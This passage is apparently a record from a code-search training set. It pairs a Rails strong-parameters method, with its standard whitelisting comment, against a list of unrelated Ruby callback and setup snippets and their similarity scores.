id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def key_indicate_map_indicator_file_params params.require(:key_indicate_map_indicator_file).permit(:title, :description, :year, :town, :old_town, :indicator_key, :old_key) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
This should return the minimal set of attributes required to create a valid Task. As you add validations to Task, be sure to update the return value of this method accordingly.
def valid_attributes { :tag_id => FactoryGirl.create(:tag), :start_time => Time.now, :user_id => @user.id } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def required_attributes\n self.class::REQUIRED_ATTRIBUTES\n end", "def required_attributes\n self.class.required_attributes\n end", "def valid_attributes\n {\n completed: false,\n cancelled: false,\n transaction_id: nil,\n completed_date: Date.new(2012, 1, 30)\n }\n end", "def task_params\n return params.require(:task).permit(:name, :description, :complete_by, :completed_at)\n end", "def required\n { must_exclude_attrs: %i[] }\n end", "def course_creation_task_params\n params.require(:course_creation_task).permit(:empire_course_id, :course_creation_templete_id, :task, :task_note_1, :task_note_2, :task_note_3, :assign_1, :assign_2, :assign_3, :extra_s, :extra_t, :extra_i, :extra_d, :extra_b)\n end", "def task_params\n if params[:task].present?\n params.require(:task).permit(:id, :name, :description, :due_date, :task_type, :done)\n else\n params.permit(:id, :name, :description)\n end\n end", "def task_params\n t_params = params.fetch(:task, {}).permit(:id, :title, :description, :where, :start_at, :end_at, :calendar_id, :status)\n t_params[:created_by] = current_user\n t_params\n end", "def task_params\n params.require(:task).permit(:title, :date, :price, :detail, :location, :task_status, :accepted_by_user_id => 0) # note, potential redundancy after_initialize in Task.rb\n end", "def create_task(options = {})\n task = Task.create({\n title: \"a\"*(Task::TITLE_MIN_LENGTH),\n difficult: Task::PERMITTED_FIBONACCI_VALUES.first,\n description: \"a\"*(Task::DESCRIPTION_MIN_LENGTH)\n }.merge(options))\n\n return task\n end", "def task_params\n params.require(:task).permit(:name, :use_gear, :mule_threshold, :bank_area_id, :action_area_id, :task_type_id, :axe_id, :treeName,\n :break_condition_id, :break_after, :start_time, :end_time, :schema_id, :monster_name,\n :gear_id, :food_id, :inventory_id, :loot_threshold, :skill_id, :quest_id, :ores, :search,\n :requirements_attributes => [:id, :level, :skill_id, :task])\n end", "def task_params\n params.require(:task).permit(:task_id, :name, :row_order_position, :complete, :category_id, :parent_id)\n end", "def task_params\n params.require(:task).permit(:Task, :Category, :Due, :is_completed, :createdby, :completedby)\n end", "def required_attributes\n %w[\n amount\n transactionReference\n orderId\n responseCode\n ]\n end", "def task_params\n if @is_admin\n params.require(:task).permit(:description, :reward, :state, :user_id)\n else\n params.require(:task).permit(:state, :user_id)\n end\n end", "def are_task_basic_fields_valid?(node)\n err = []\n\n err << \"Task status provided '#{node['task_status']}' is not supported\" if\n !valid_task_status?(node['task_status'])\n err << \"Task name is not provided\" if node['deployment_graph_task_name'].blank?\n\n err.any? ? fail_validation(node, err) : true\n end", "def are_task_basic_fields_valid?(node)\n err = []\n\n err << \"Task status provided '#{node['task_status']}' is not supported\" if\n !valid_task_status?(node['task_status'])\n err << \"Task name is not provided\" if node['deployment_graph_task_name'].blank?\n\n err.any? ? fail_validation(node, err) : true\n end", "def task_params\n _params = params.require(:task).permit(:title, :description, :line_id)\n _params = _params.except(:line_id) if not @line.nil?\n\n _params\n end", "def task_params\n params.require(:task).permit(:name, :category, :description, :isComplete)\n end", "def required_properties; end", "def task_params\n params.fetch(:task).permit(:description, :completed, :priority)\n end", "def task_params\n return params.require(:task).permit(:name, :description, :completed)\n end", "def required_attributes\n self.class._module.required_fields\n end", "def task_params\n params[:task][:todo_id] = params[:todo_id].present? ? params[:todo_id] : @todo.id.to_s\n params[:task][:creator_user_id] = current_user.id if current_user.present? && request.method.to_s == \"POST\"\n params.require(:task).permit(:name, :position, :due_at, :shared_state, :progress_state, :shared_state, :predue_at, :overdue_at, :todo_id, :creator_user_id)\n end", "def task_params\n params.require(:task).permit(:name, :expected_start_date, :expected_end_date,\n :start_date, :end_date, :parent_id, :level, :man_hours, :progress,\n :description, :duration, :deleted, :project_id, :user_id, :resources_cost, :resources, :state)\n end", "def task_params\n return params.require(:task).permit(:name, :description)\n end", "def task_params\n params.require(:task).permit(:name, :description, :start_date, :end_date, :status, :priority, :tenant_id, :project_id)\n end", "def required_args\n doodle.attributes.select{ |k, v| v.required?}.map{ |k,v| v}\n end", "def task_params\n params.require(:task).permit(:name, :start, :deadline, :status, :user_id)\n end", "def task_params\n params.require(:task).permit(:description, :is_completed, :task_status, :is_priority, :due_date, :user_id, :course_id, :task_type)\n end", "def task_params\n params.require(:task).permit(:name, :due_date, :completed, :sms_reminder, :email_reminder, :description,\n :estimated_time, :estimated_time_unit, :user_id, :owner_id, :secondary_owner_id, :add_event, :case_id, :calendar_id)\n end", "def task_params\n params.require(:task).permit(:task_name, :task_description, :task_priority, :task_day, :task_color)\n end", "def task_params\n params.require(:task).permit(:name, :complete)\n end", "def required_properties(entity)\n requireds = entity[:children]\n .select { |ch| ch[:required] == true }\n .map { |ch| ch[:name].to_s }\n pre_req = entity[:required].is_a?(Array) ? entity[:required] : []\n { required: requireds | pre_req }\n end", "def task_params\n params.require(:task).permit(:name, :description, :priority, :complete, :due_date)\n end", "def task_params\n params.require(:task).permit(:task_name, :due_date, :weight, :progress, :priority, :required_time, :user_id, :tag, :algorithm)\n end", "def valid_task\n { label: task.label }.to_json\n end", "def task_params\n params.require(:task).permit(:task)\n end", "def task_params\n params.require(:task).permit(:project_id, :user_id, :name, :description, :estimated_time, :real_time, :status_id, steps_attributes: [:description, :task_id])\n end", "def task_params\n params.require(:task).permit(:name, :time_commitment, :summary, :date_needed, :user_id, :project_id)\n end", "def task_params\n params.require(:task).permit(:name, :description, :duedate, :personalduedate, :complete, :taskid, :projectid, :assignedto, :label)\n end", "def task_params\n params.fetch(:task, {}).permit(:name, :description)\n end", "def task_attributes=(task_attributes)\n task_attributes.each do |attr|\n tasks.build(attr)\n end\n end", "def create\n\t\tformat_task_attributes(task_params)\n\t\t@task =Task.new(@updated_params)\n\t\tlogger.debug \"Created Task #{@task}\"\n\t\[email protected] = current_user\n\t\tauthorize! :create, @task\n\t\[email protected]_completed=false\n\t\tsave_task\n\tend", "def task_params\n params.require(:task).permit(:title, :description, :project_id, :user_id, :status, :assigned_at, :started_at, :completed_at)\n end", "def task_params\n params.fetch(:task, {}).permit(\n :name, :is_done, :new_bef_task\n )\n end", "def valid_attributes\n {\n :executed => 1.day.ago,\n :sequence_source_id => sequence_source.id,\n }\n end", "def full_task_params\n params.require(:data)\n .permit(:type, :id, attributes: [:title, tags: []])\n end", "def task_params\n params.require(:task).permit(:task, :all_tags, :completed, :raw_date)\n end", "def create\n task = Task.new(task_params)\n\n if task.save\n render json: task, include: [:user, :column], except: [:user_id, :column_id], status: :created, location: task\n else\n render json: task.errors, status: :unprocessable_entity\n end\n \n end", "def task_params\n params.require(:task).permit(:completed, :user_id, :title, :description, :category_id)\n end", "def task_params\n params.require(:task).permit(:title, :description, :duration, :start, :priority, :day)\n end", "def task_params\n params.require(:task).permit(:name, :description, :status, :deadline, :priority, :tag, :assign, :deleted_at)\n end", "def creation_attributes\n { }\n end", "def task_params\n params.require(:task).permit(:starttime, :duration, :jobid, :postedforpickup)\n end", "def task_params\n params.require(:task).permit(:project_id, :task_num, :task_name, :person_id, :pct_time, :base_start, :base_finish, :proj_start, :proj_finish, :task_deps, :task_status, :task_notes)\n end", "def task_params\n params.require(:task).permit(:start_date, :end_date, :priority, :subject, :description, :status, :user_id)\n end", "def task_params\n params.require(:task).permit(:task_name, :priority, :completed, :project_id, :time_done)\n end", "def temporal_task_params\n params.require(:temporal_task).permit(:description, :state, :priority, :valid_from, :valid_until, :type)\n end", "def task_params\n params.require(:task).permit(:taskname, :describe, :anticipated,:status)\n end", "def task_params\n params.require(:task).permit(Task.safe_attributes)\n end", "def task_params\n params.require(:task).permit(Task.safe_attributes)\n end", "def validate_required_attributes\n required = %i[currency_code direction epic force_open guaranteed_stop order_type size\n time_in_force]\n\n required.each do |attribute|\n raise ArgumentError, \"#{attribute} attribute must be set\" if attributes[attribute].nil?\n end\n end", "def task_params\n params.require(:task).permit(:name, :priority, :duedate, :completed, :description, :status)\n end", "def task_params\n params.require(:task).permit(:name, :start_date, :due_date, :status, :description, :project_id, :assignees)\n end", "def task_params\n params.require(:task).permit(:task, :description, :due_date, :assignee_id)\n end", "def task_params\n params.require(:task).permit(:user_id, :item, :is_complete, :deadline, :location)\n end", "def task_params\n params.require(:task).permit(:name, :description, :score_type, :have_score, :group, :sendable, :max_send, :have_feedback)\n end", "def task_params\n params.require(:task).permit(:title, :description, :completed, :user_id)\n end", "def task_params\n params.require(:task).permit(:name, :date, :starttime, :endtime, :project_id)\n end", "def task_params\n params.require(:task).permit(:description, :deadline, :completed, :milestone_id, :user_id, :crucial)\n end", "def task_params\n params.require(:task).permit(:user_id, :collection_id, :task_type)\n end", "def task_params\n params.require(:task).permit(:status, :name, :description, :user_id)\n end", "def task_params\n params.require(:task).permit(:description, :complete, :due_date, )\n end", "def task_params\n params.require(:task).permit(:title, :description, :duration, :priority, :category_id)\n end", "def task_params\n params.require(:task).permit(:name, :running, :start, :end, :project_id)\n end", "def task_params\n params.require(:task).permit(:name, :active, :status, :user_id)\n end", "def task_params\n params.require(:task).permit(:title, :description, :status, :priority, :story_points, :deadline )\n end", "def task_params\n params.require(:task).permit(:start_time, :end_time, :sla_type, :sla_name, :task_number, :duration, :stage)\n end", "def task_params\n params.require(:task).permit(:title, :description, :status, :priority, :due_date, :assigned_to_id)\n end", "def task_params\n params.require(:task).permit(:name, :category, :user_id, :active, :duration, :created_at, :updated_at, :started_at, :stopped_at)\n end", "def task_params\n params.permit(:title, :description, :priority, :completed)\n end", "def task_params\n params.require(:task).permit(:description, :date, :completed)\n end", "def create_fields\n self.class.required_on_create.each{|key| @properties[key] ||= \"\"} # Add required fields\n self.class.never_on_create.each{|key| @properties.delete(key)} # Remove prohibited fields\n @properties\n end", "def task_params\n params.require(:task).permit(:policy_id,\n :policy_type,\n :label,\n :state,\n :time,\n :building_date,\n :finish_time,\n :task_id,\n :error_label)\n end", "def attributes\n data.require(:attributes)\n end", "def task_params\n params.require(:task).permit(:content, :complete, :due_at)\n end", "def tasks_attributes=(attributes)\n attributes.each do |i, task_params|\n tasks.build(task_params)\n end\n end", "def task_params\n params.require(:task).permit(:name, :description, :completed, :milestone, :start_date, :end_date, :due_date, :assignee_id, :project_id)\n end", "def task_params\n params.require(:task).permit(:status, :name, :priority)\n end", "def task_params\n params.require(:task).permit(\n :task_name, \n :task_due_date, \n :task_type, \n :task_status, \n :task_comments,\n :opportunity_id\n )\n end", "def task_params\n params.require(:task).permit(:title, :description, :due_date, :is_checked)\n end", "def task_params\n params.require(:task).permit(:name, :description, :status, :project_users_id)\n end", "def task_params\n params.require(:task).permit(:name, :completed, :project_id)\n end", "def task_params\n params.require(:task).permit(:title, :description, :duration, :start_date, :end_date, :member_id, :checklist)\n end", "def 